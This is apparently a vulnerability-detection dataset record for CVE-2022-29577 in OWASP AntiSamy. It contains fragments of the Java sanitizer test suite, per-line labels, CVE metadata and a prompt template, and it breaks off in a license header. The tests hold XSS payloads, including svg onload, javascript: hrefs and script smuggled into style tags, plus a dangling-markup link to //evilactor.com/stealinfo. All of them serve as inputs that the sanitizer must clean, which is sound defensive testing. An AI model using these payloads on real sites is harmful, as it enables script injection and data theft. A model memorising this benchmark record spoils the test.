testGithubIssue34b() throws ScanException, PolicyException {", " \t// bypass stripNonValidXMLCharacters\n \t// Issue indicates: \"<div>Hello\\\\uD83D\\\\uDC95</div>\" should be sanitized to: \"<div>Hello</div>\"\n \t\n String test34b = \"\\uD888\";\n assertEquals(\"\", as.scan(test34b, policy, AntiSamy.DOM).getCleanHTML());\n assertEquals(\"\", as.scan(test34b, policy, AntiSamy.SAX).getCleanHTML());\n }\n*/", " static final String test40 = \"<html>\\n\"\n + \"<head>\\n\"\n + \" <title>Test</title>\\n\"\n + \"</head>\\n\"\n + \"<body>\\n\"\n + \" <h1>Tricky Encoding</h1>\\n\"\n + \" <h2>NOT Sanitized by AntiSamy</h2>\\n\"\n + \" <ol>\\n\"\n + \" <li><h3>svg onload=alert follows:</h3><svg onload=alert(1)//</li>\\n\"\n + \" </ol>\\n\"\n + \"</body>\\n\"\n + \"</html>\";", " @Test\n public void testGithubIssue40() throws ScanException, PolicyException {", " // Concern is that: <svg onload=alert(1)// does not get cleansed.\n // Based on these test results, it does get cleaned so this issue is a false positive, so we closed it.", " assertThat(as.scan(test40, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"<svg onload=alert(1)//\")));\n //System.out.println(\"SAX parser: \" + as.scan(test40, policy, AntiSamy.SAX).getCleanHTML());\n assertThat(as.scan(test40, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"<svg onload=alert(1)//\")));\n //System.out.println(\"DOM parser: \" + as.scan(test40, policy, AntiSamy.DOM).getCleanHTML());\n }", " @Test\n public void testGithubIssue48() throws ScanException, PolicyException {", " // Concern is that onsiteURL regex is not safe for URLs that start with //.\n // For example: //evilactor.com?param=foo", " final String phishingAttempt = \"<a href=\\\"//evilactor.com/stealinfo?a=xxx&b=xxx\\\"><span style=\\\"color:red;font-size:100px\\\">\"\n + \"You must click me</span></a>\";", " // Output: <a rel=\"nofollow\"><span style=\"color: red;font-size: 100.0px;\">You must click me</span></a>", " assertThat(as.scan(phishingAttempt, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"//evilactor.com/\")));\n assertThat(as.scan(phishingAttempt, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"//evilactor.com/\")));", " // This ones never failed, they're just to prove a dangling markup attack on the following resulting HTML won't work.\n // Less probable case (steal more tags):\n final String danglingMarkup = \"<div>User input: \" +\n \"<input type=\\\"text\\\" name=\\\"input\\\" value=\\\"\\\"><a href='//evilactor.com?\"+\n \"\\\"> all this info wants to be stolen with <i>danlging markup attack</i>\" +\n \" until a single quote to close is found'</div>\";", " assertThat(as.scan(danglingMarkup, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"//evilactor.com/\")));\n assertThat(as.scan(danglingMarkup, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"//evilactor.com/\")));", " // More probable case (steal just an attribute):\n // HTML before attack: <input type=\"text\" name=\"input\" value=\"\" data-attribute-to-steal=\"some value\">\n final String danglingMarkup2 = \"<div>User input: \" +\n \"<input type=\\\"text\\\" name=\\\"input\\\" value=\\\"\\\" data-attribute-to-steal=\\\"some value\\\">\";\n \n assertThat(as.scan(danglingMarkup2, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"//evilactor.com/\")));\n assertThat(as.scan(danglingMarkup2, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"//evilactor.com/\")));\n }", " @Test\n public void testGithubIssue62() {\n // Concern is that when a processing instruction is at the root level, node removal gets messy and Null pointer exception arises.\n // More test cases are added for PI removal.", " try{\n assertThat(as.scan(\"|<?ai aaa\", policy, AntiSamy.DOM).getCleanHTML(), is(\"|\"));\n assertThat(as.scan(\"|<?ai aaa\", policy, AntiSamy.SAX).getCleanHTML(), is(\"|\"));", " assertThat(as.scan(\"<div>|<?ai aaa\", policy, AntiSamy.DOM).getCleanHTML(), is(\"<div>|</div>\"));\n assertThat(as.scan(\"<div>|<?ai aaa\", policy, AntiSamy.SAX).getCleanHTML(), is(\"<div>|</div>\"));", " assertThat(as.scan(\"<div><?foo note=\\\"I am XML processing instruction. I wish to be excluded\\\" ?></div>\", policy, AntiSamy.DOM)\n .getCleanHTML(), not(containsString(\"<?foo\")));\n assertThat(as.scan(\"<div><?foo note=\\\"I am XML processing instruction. I wish to be excluded\\\" ?></div>\", policy, AntiSamy.SAX)\n .getCleanHTML(), not(containsString(\"<?foo\")));", " assertThat(as.scan(\"<?xml-stylesheet type=\\\"text/css\\\" href=\\\"style.css\\\"?>\", policy, AntiSamy.DOM).getCleanHTML(), is(\"\"));\n assertThat(as.scan(\"<?xml-stylesheet type=\\\"text/css\\\" href=\\\"style.css\\\"?>\", policy, AntiSamy.SAX).getCleanHTML(), is(\"\"));", " } catch (Exception exc) {\n fail(exc.getMessage());\n }\n }", " @Test\n public void testGithubIssue81() throws ScanException, PolicyException {\n // Concern is that \"!important\" is missing after processing CSS\n assertThat(as.scan(\"<p style=\\\"color: red !important\\\">Some Text</p>\", policy, AntiSamy.DOM).getCleanHTML(), containsString(\"!important\"));\n assertThat(as.scan(\"<p style=\\\"color: red !important\\\">Some Text</p>\", policy, AntiSamy.SAX).getCleanHTML(), containsString(\"!important\"));", " // Just to check scan keeps working accordingly without \"!important\"\n assertThat(as.scan(\"<p style=\\\"color: red\\\">Some Text</p>\", policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"!important\")));\n assertThat(as.scan(\"<p style=\\\"color: red\\\">Some Text</p>\", policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"!important\")));\n }", " @Test\n public void entityReferenceEncodedInHtmlAttribute() throws ScanException, PolicyException {\n // Concern is that \"&\" is not being encoded and \"#00058\" was not being interpreted as \":\"\n // so the validations based on regexp passed and a browser would load \"&:\" together.\n // All this when not using the XHTML serializer.", " // UPDATE: Using a new HTML parser library starts decoding entities like #00058\n Policy revised = policy.cloneWithDirective(\"useXHTML\",\"false\");\n assertThat(as.scan(\"<p><a href=\\\"javascript&#00058x=1,%61%6c%65%72%74%28%22%62%6f%6f%6d%22%29\\\">xss</a></p>\", revised, AntiSamy.DOM).getCleanHTML(),\n not(containsString(\"javascript\")));\n assertThat(as.scan(\"<p><a href=\\\"javascript&#00058x=1,%61%6c%65%72%74%28%22%62%6f%6f%6d%22%29\\\">xss</a></p>\", revised, AntiSamy.SAX).getCleanHTML(),\n not(containsString(\"javascript\")));\n }", " @Test\n public void testGithubIssue99() throws ScanException, PolicyException {\n // Test that the IANA subtags is not lost\n assertThat(as.scan(\"<p lang=\\\"en-GB\\\">This paragraph is defined as British English.</p>\", policy, AntiSamy.DOM).getCleanHTML(), containsString(\"lang=\\\"en-GB\\\"\"));\n assertThat(as.scan(\"<p lang=\\\"en-GB\\\">This paragraph is defined as British English.</p>\", policy, AntiSamy.SAX).getCleanHTML(), containsString(\"lang=\\\"en-GB\\\"\"));\n }", " @Test\n public void testGithubIssue101() throws ScanException, PolicyException {\n // Test that margin attribute is not removed when value has too much significant figures.\n // Current behavior is that decimals like 0.0001 are internally translated to 1.0E-4, this\n // is reflected on regex validation and actual output. The inconsistency is due to Batik CSS.\n assertThat(as.scan(\"<p style=\\\"margin: 0.0001pt;\\\">Some text.</p>\", policy, AntiSamy.DOM).getCleanHTML(), containsString(\"margin\"));\n assertThat(as.scan(\"<p style=\\\"margin: 0.0001pt;\\\">Some text.</p>\", policy, AntiSamy.SAX).getCleanHTML(), containsString(\"margin\"));\n assertThat(as.scan(\"<p style=\\\"margin: 10000000pt;\\\">Some text.</p>\", policy, AntiSamy.DOM).getCleanHTML(), containsString(\"margin\"));\n assertThat(as.scan(\"<p style=\\\"margin: 10000000pt;\\\">Some text.</p>\", policy, AntiSamy.SAX).getCleanHTML(), containsString(\"margin\"));\n assertThat(as.scan(\"<p style=\\\"margin: 1.0E-4pt;\\\">Some text.</p>\", policy, AntiSamy.DOM).getCleanHTML(), containsString(\"margin\"));\n assertThat(as.scan(\"<p style=\\\"margin: 1.0E-4pt;\\\">Some text.</p>\", policy, AntiSamy.SAX).getCleanHTML(), containsString(\"margin\"));\n // When using exponential directly the \"e\" or \"E\" is internally considered as the start of\n // the dimension/unit type. This creates inconsistencies that make the regex validation fail,\n // also in cases like 1e4pt where \"e\" is considered as dimension instead of \"pt\".\n assertThat(as.scan(\"<p style=\\\"margin: 1.0E+4pt;\\\">Some text.</p>\", policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"margin\")));\n assertThat(as.scan(\"<p style=\\\"margin: 1.0E+4pt;\\\">Some text.</p>\", policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"margin\")));\n }", " @Test\n public void testCSSUnits() throws ScanException, PolicyException {\n String input = \"<div style=\\\"width:50vw;height:50vh;padding:1rpc;\\\">\\n\" +\n \"\\t<p style=\\\"font-size:1.5ex;padding-left:1rem;padding-top:16px;\\\">Some text.</p>\\n\" +\n \"</div>\";\n CleanResults cr = as.scan(input, policy, AntiSamy.DOM);\n assertThat(cr.getCleanHTML(), containsString(\"ex\"));\n assertThat(cr.getCleanHTML(), containsString(\"px\"));\n assertThat(cr.getCleanHTML(), containsString(\"rem\"));\n assertThat(cr.getCleanHTML(), containsString(\"vw\"));\n assertThat(cr.getCleanHTML(), containsString(\"vh\"));\n assertThat(cr.getCleanHTML(), not(containsString(\"rpc\")));\n cr = as.scan(input, policy, AntiSamy.SAX);\n assertThat(cr.getCleanHTML(), containsString(\"ex\"));\n assertThat(cr.getCleanHTML(), containsString(\"px\"));\n assertThat(cr.getCleanHTML(), containsString(\"rem\"));\n assertThat(cr.getCleanHTML(), containsString(\"vw\"));\n assertThat(cr.getCleanHTML(), containsString(\"vh\"));\n assertThat(cr.getCleanHTML(), not(containsString(\"rpc\")));\n }", " @Test\n public void testXSSInsideSelectOptionStyle() throws ScanException, PolicyException {\n // Tests for CVE-2021-42575, XSS nested into <select>+<option>+<style>", " // Safe case, to test legit style\n assertThat(as.scan(\"<select><option><style>h1{color:black;}</style></option></select>\", policy, AntiSamy.DOM).getCleanHTML(), containsString(\"black\"));\n assertThat(as.scan(\"<select><option><style>h1{color:black;}</style></option></select>\", policy, AntiSamy.SAX).getCleanHTML(), containsString(\"black\"));\n // Unsafe case\n assertThat(as.scan(\"<select><option><style><script>alert(1)</script></style></option></select>\", policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"<script>\")));\n assertThat(as.scan(\"<select><option><style><script>alert(1)</script></style></option></select>\", policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"<script>\")));\n }", " @Test\n public void testImportedStylesParsing() throws ScanException, PolicyException {\n // Test that imported style sheets can be parsed and order is correct\n final String input = \"<style type='text/css'>\\n\" +\n \"\\t@import url(https://raw.githubusercontent.com/nahsra/antisamy/main/src/test/resources/s/slashdot.org_files/classic.css);\\n\" +\n \"\\t@import url(https://raw.githubusercontent.com/nahsra/antisamy/main/src/test/resources/s/slashdot.org_files/providers.css);\\n\" +\n \"\\t.very-specific-antisamy {font: 15pt \\\"Arial\\\"; color: blue;}\\n\" +\n \"</style>\";\n Policy revised = policy.cloneWithDirective(Policy.EMBED_STYLESHEETS,\"true\").cloneWithDirective(Policy.FORMAT_OUTPUT,\"false\");\n // Styles are imported\n String cleanHtmlDOM = as.scan(input, revised, AntiSamy.DOM).getCleanHTML();\n String cleanHtmlSAX = as.scan(input, revised, AntiSamy.SAX).getCleanHTML();\n assertThat(cleanHtmlDOM, not(containsString(\"<![CDATA[/* */]]>\")));\n assertThat(cleanHtmlSAX, not(containsString(\"<![CDATA[/* */]]>\")));\n // Order is correct:\n // First import: grid_1 class\n // Second import: janrain-provider150-sprit class\n // Original styles: very-specific-antisamy class\n final Pattern p = Pattern.compile(\".*?\\\\.grid_1.*?\\\\.janrain-provider150-sprit.*?\\\\.very-specific-antisamy.*?\", Pattern.DOTALL);\n assertThat(cleanHtmlDOM, MatchesPattern.matchesPattern(p));\n assertThat(cleanHtmlSAX, MatchesPattern.matchesPattern(p));", " Policy revised2 = policy.cloneWithDirective(Policy.EMBED_STYLESHEETS,\"false\").cloneWithDirective(Policy.FORMAT_OUTPUT,\"false\");\n // Styles are not imported\n cleanHtmlDOM = as.scan(input, revised2, AntiSamy.DOM).getCleanHTML();\n cleanHtmlSAX = as.scan(input, revised2, AntiSamy.SAX).getCleanHTML();\n assertThat(cleanHtmlDOM, not(containsString(\".grid_1\")));\n assertThat(cleanHtmlSAX, not(containsString(\".grid_1\")));\n assertThat(cleanHtmlDOM, not(containsString(\".janrain-provider150-sprit\")));\n assertThat(cleanHtmlSAX, not(containsString(\".janrain-provider150-sprit\")));\n }", " @Test\n public void testNoopenerAndNoreferrer() throws ScanException, PolicyException {\n Map<String, Attribute> map = new HashMap<>();\n map.put(\"target\", new Attribute(\"a\", Collections.<Pattern>emptyList(), Arrays.asList( \"_blank\", \"_self\" ), \"\",\"\"));\n map.put(\"rel\", new Attribute(\"a\", Collections.<Pattern>emptyList(), Arrays.asList( \"nofollow\", \"noopener\", \"noreferrer\"), \"\",\"\"));\n Tag tag = new Tag(\"a\", map, Policy.ACTION_VALIDATE);\n Policy basePolicy = policy.mutateTag(tag);\n Policy revised = basePolicy.cloneWithDirective(Policy.ANCHORS_NOFOLLOW,\"true\").cloneWithDirective(Policy.ANCHORS_NOOPENER_NOREFERRER,\"true\");\n // No target=\"_blank\", so only nofollow can be added.\n assertThat(as.scan(\"<a>Link text</a>\", revised, AntiSamy.DOM).getCleanHTML(), both(containsString(\"nofollow\")).and(not(containsString(\"noopener noreferrer\"))));\n assertThat(as.scan(\"<a>Link text</a>\", revised, AntiSamy.SAX).getCleanHTML(), both(containsString(\"nofollow\")).and(not(containsString(\"noopener noreferrer\"))));\n // target=\"_blank\", can have both.\n assertThat(as.scan(\"<a target=\\\"_blank\\\">Link text</a>\", revised, AntiSamy.DOM).getCleanHTML(), containsString(\"nofollow noopener noreferrer\"));\n assertThat(as.scan(\"<a target=\\\"_blank\\\">Link text</a>\", revised, AntiSamy.SAX).getCleanHTML(), containsString(\"nofollow noopener noreferrer\"));", " Policy revised2 = basePolicy.cloneWithDirective(Policy.ANCHORS_NOFOLLOW,\"false\").cloneWithDirective(Policy.ANCHORS_NOOPENER_NOREFERRER,\"true\");\n // No target=\"_blank\", no rel added.\n assertThat(as.scan(\"<a>Link text</a>\", revised2, AntiSamy.DOM).getCleanHTML(), not(containsString(\"rel=\")));\n assertThat(as.scan(\"<a>Link text</a>\", revised2, AntiSamy.SAX).getCleanHTML(), not(containsString(\"rel=\")));\n // target=\"_blank\", everything present.\n assertThat(as.scan(\"<a target='_blank' rel='nofollow'>Link text</a>\", revised2, AntiSamy.DOM).getCleanHTML(), containsString(\"nofollow noopener noreferrer\"));\n assertThat(as.scan(\"<a target='_blank' rel='nofollow'>Link text</a>\", revised2, AntiSamy.SAX).getCleanHTML(), containsString(\"nofollow noopener noreferrer\"));\n // target=\"_self\", no rel added.\n assertThat(as.scan(\"<a target='_self'>Link text</a>\", revised2, AntiSamy.DOM).getCleanHTML(), not(containsString(\"rel=\")));\n assertThat(as.scan(\"<a target='_self'>Link text</a>\", revised2, AntiSamy.SAX).getCleanHTML(), not(containsString(\"rel=\")));\n // target=\"_self\", only nofollow present.\n assertThat(as.scan(\"<a target='_self' rel='nofollow'>Link text</a>\", revised2, AntiSamy.DOM).getCleanHTML(), both(containsString(\"nofollow\")).and(not(containsString(\"noopener noreferrer\"))));\n assertThat(as.scan(\"<a target='_self' rel='nofollow'>Link text</a>\", revised2, AntiSamy.SAX).getCleanHTML(), both(containsString(\"nofollow\")).and(not(containsString(\"noopener noreferrer\"))));\n // noopener is not repeated\n assertThat(as.scan(\"<a target='_blank' rel='noopener'>Link text</a>\", revised2, AntiSamy.DOM).getCleanHTML().split(\"noopener\").length, is(2));\n assertThat(as.scan(\"<a target='_blank' rel='noopener'>Link text</a>\", revised2, AntiSamy.SAX).getCleanHTML().split(\"noopener\").length, is(2));", " Policy revised3 = basePolicy.cloneWithDirective(Policy.ANCHORS_NOFOLLOW,\"false\").cloneWithDirective(Policy.ANCHORS_NOOPENER_NOREFERRER,\"false\");\n // No rel added\n assertThat(as.scan(\"<a>Link text</a>\", revised3, AntiSamy.DOM).getCleanHTML(), not(containsString(\"rel=\")));\n assertThat(as.scan(\"<a>Link text</a>\", revised3, AntiSamy.SAX).getCleanHTML(), not(containsString(\"rel=\")));\n // noopener is not repeated\n assertThat(as.scan(\"<a target='_blank' rel='noopener'>Link text</a>\", revised3, AntiSamy.DOM).getCleanHTML().split(\"noopener\").length, is(2));\n assertThat(as.scan(\"<a target='_blank' rel='noopener'>Link text</a>\", revised3, AntiSamy.SAX).getCleanHTML().split(\"noopener\").length, is(2));\n }", " @Test\n public void testLeadingDashOnPropertyName() throws ScanException, PolicyException {\n // Test that property names with leading dash are supported, reported on issue #125.\n final String input = \"<style type='text/css'>\\n\" +\n \"\\t.very-specific-antisamy { -moz-border-radius: inherit ; -webkit-border-radius: 25px 10px 5px 10px;}\\n\" +\n \"</style>\";\n // Define new properties for the policy\n Pattern customPattern = Pattern.compile(\"\\\\d+(\\\\.\\\\d+)?px( \\\\d+(\\\\.\\\\d+)?px){0,3}\", Pattern.DOTALL);\n Property leadingDashProperty1 = new Property(\"-webkit-border-radius\", Arrays.asList(customPattern), Collections.<String>emptyList(),Collections.<String>emptyList(),\"\",\"\");\n Property leadingDashProperty2 = new Property(\"-moz-border-radius\", Collections.<Pattern>emptyList(), Arrays.asList(\"inherit\"),Collections.<String>emptyList(),\"\",\"\");\n Policy revised = policy.addCssProperty(leadingDashProperty1).addCssProperty(leadingDashProperty2);\n // Test properties\n assertThat(as.scan(input, revised, AntiSamy.DOM).getCleanHTML(), both(containsString(\"-webkit-border-radius\")).and(containsString(\"-moz-border-radius\")));\n assertThat(as.scan(input, revised, AntiSamy.SAX).getCleanHTML(), both(containsString(\"-webkit-border-radius\")).and(containsString(\"-moz-border-radius\")));\n }", " @Test\n public void testScansWithDifferentPolicyLoading() throws ScanException, PolicyException, URISyntaxException {\n final String input = \"<span>text</span>\";\n // Preload policy, do not specify scan type.\n AntiSamy asInstance = new AntiSamy(policy);\n assertThat(asInstance.scan(input).getCleanHTML(), is(input));\n // Pass policy, assume DOM scan type.\n assertThat(asInstance.scan(input, policy).getCleanHTML(), is(input));\n // Pass policy as File.\n File policyFile = new File(getClass().getResource(\"/antisamy.xml\").toURI());\n assertThat(asInstance.scan(input, policyFile).getCleanHTML(), is(input));\n // Pass policy filename.\n String path = getClass().getResource(\"/antisamy.xml\").getPath();\n path = System.getProperty(\"file.separator\").equals(\"\\\\\") && path.startsWith(\"/\") ? path.substring(1) : path;\n assertThat(asInstance.scan(input, path).getCleanHTML(), is(input));\n // No preloaded nor passed policy, expected to fail.\n try {\n as.scan(input, null, AntiSamy.DOM);\n fail(\"Scan with no policy must have thrown an exception.\");\n } catch (PolicyException e) {\n // An error is expected. Pass.\n }\n }", " @Test\n public void testGithubIssue151() throws ScanException, PolicyException {\n // Concern is error messages when parsing stylesheets are no longer returned in AntiSamy 1.6.5\n String input = \"<img style=\\\"FLOAT: right; CURSOR: hand\\\" src=\\\"http://site.com/pic.jpg\\\" />\";", " CleanResults result = as.scan(input, policy, AntiSamy.DOM);\n assertThat(result.getErrorMessages().size(), is(1));\n assertThat(result.getCleanHTML(), both(containsString(\"img\")).and(not(containsString(\"CURSOR\"))));", " result = as.scan(input, policy, AntiSamy.SAX);\n assertThat(result.getErrorMessages().size(), is(1));\n assertThat(result.getCleanHTML(), both(containsString(\"img\")).and(not(containsString(\"CURSOR\"))));\n }", " @Test\n public void testSmuggledTagsInStyleContent() throws ScanException, PolicyException {\n // HTML tags may be smuggled into a style tag after parsing input to an internal representation.\n // If that happens, they should be treated as text content and not as children nodes.", " Policy revised = policy.cloneWithDirective(Policy.USE_XHTML,\"true\");\n assertThat(as.scan(\"<style/>b<![cdata[</style><a href=javascript:alert(1)>test\", revised, AntiSamy.DOM).getCleanHTML(), not(containsString(\"javascript\")));\n assertThat(as.scan(\"<style/>b<![cdata[</style><a href=javascript:alert(1)>test\", revised, AntiSamy.SAX).getCleanHTML(), not(containsString(\"javascript\")));", "", "\n Policy revised2 = policy.cloneWithDirective(Policy.USE_XHTML,\"false\");\n assertThat(as.scan(\"<select<style/>W<xmp<script>alert(1)</script>\", revised2, AntiSamy.DOM).getCleanHTML(), not(containsString(\"script\")));\n assertThat(as.scan(\"<select<style/>W<xmp<script>alert(1)</script>\", revised2, AntiSamy.SAX).getCleanHTML(), not(containsString(\"script\")));", "", " }", " @Test(timeout = 3000)\n public void testMalformedPIScan() {\n // Certain malformed input including a malformed processing instruction may lead the parser to an internal memory error.\n try {\n as.scan(\"<!--><?a/\", policy, AntiSamy.DOM).getCleanHTML();\n as.scan(\"<!--><?a/\", policy, AntiSamy.SAX).getCleanHTML();\n } catch (ScanException ex) {\n // It is OK, internal parser should fail.\n } catch (Exception ex) {\n fail(\"Parser should not throw a non-ScanException\");\n }\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [454, 1719], "buggy_code_start_loc": [410, 1715], "filenames": ["src/main/java/org/owasp/validator/html/scan/AntiSamyDOMScanner.java", "src/test/java/org/owasp/validator/html/test/AntiSamyTest.java"], "fixing_code_end_loc": [451, 1724], "fixing_code_start_loc": [410, 1716], "message": "OWASP AntiSamy before 1.6.7 allows XSS via HTML tag smuggling on STYLE content with crafted input. The output serializer does not properly encode the supposed Cascading Style Sheets (CSS) content. NOTE: this issue exists because of an incomplete fix for CVE-2022-28367.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:antisamy_project:antisamy:*:*:*:*:*:*:*:*", "matchCriteriaId": "A2700372-2AF6-4FD7-B284-2C32001E0153", "versionEndExcluding": "1.6.7", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:oracle:enterprise_manager_base_platform:13.4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D26F3E23-F1A9-45E7-9E5F-0C0A24EE3783", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:enterprise_manager_base_platform:13.5.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "6E8758C8-87D3-450A-878B-86CE8C9FC140", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "F14A818F-AA16-4438-A3E4-E64C9287AC66", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "4A5BB153-68E0-4DDA-87D1-0D9AB7F0A418", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:14.1.1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "04BCDC24-4A21-473C-8733-0D9CFB38A752", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "OWASP AntiSamy before 1.6.7 allows XSS via HTML tag smuggling on STYLE content with crafted input. The output serializer does not properly encode the supposed Cascading Style Sheets (CSS) content. NOTE: this issue exists because of an incomplete fix for CVE-2022-28367."}, {"lang": "es", "value": "OWASP AntiSamy versiones anteriores a 1.6.7, permite un ataque de tipo XSS por medio de contrabando de etiquetas HTML en contenido STYLE con entrada dise\u00f1ada. El serializador de salida no codifica correctamente el supuesto contenido de las hojas de estilo en cascada (CSS). NOTA: este problema se presenta debido a una correcci\u00f3n incompleta de CVE-2022-28367"}], "evaluatorComment": null, "id": "CVE-2022-29577", "lastModified": "2023-02-23T18:47:00.307", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-04-21T23:15:10.467", "references": [{"source": "cve@mitre.org", "tags": ["Patch"], "url": "https://github.com/nahsra/antisamy/commit/32e273507da0e964b58c50fd8a4c94c9d9363af0"}, {"source": "cve@mitre.org", "tags": ["Release Notes"], "url": "https://github.com/nahsra/antisamy/releases/tag/v1.6.7"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://www.oracle.com/security-alerts/cpujul2022.html"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/nahsra/antisamy/commit/32e273507da0e964b58c50fd8a4c94c9d9363af0"}, "type": "CWE-79"}
130
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright (c) 2007-2022, Arshan Dabirsiaghi, Jason Li\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this list\n * of conditions and the following disclaimer. Redistributions in binary form must\n * reproduce the above copyright notice, this list of conditions and the following\n * disclaimer in the documentation and/or other materials provided with the distribution.\n * Neither the name of OWASP nor the names of its contributors may be used to endorse\n * or promote products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE 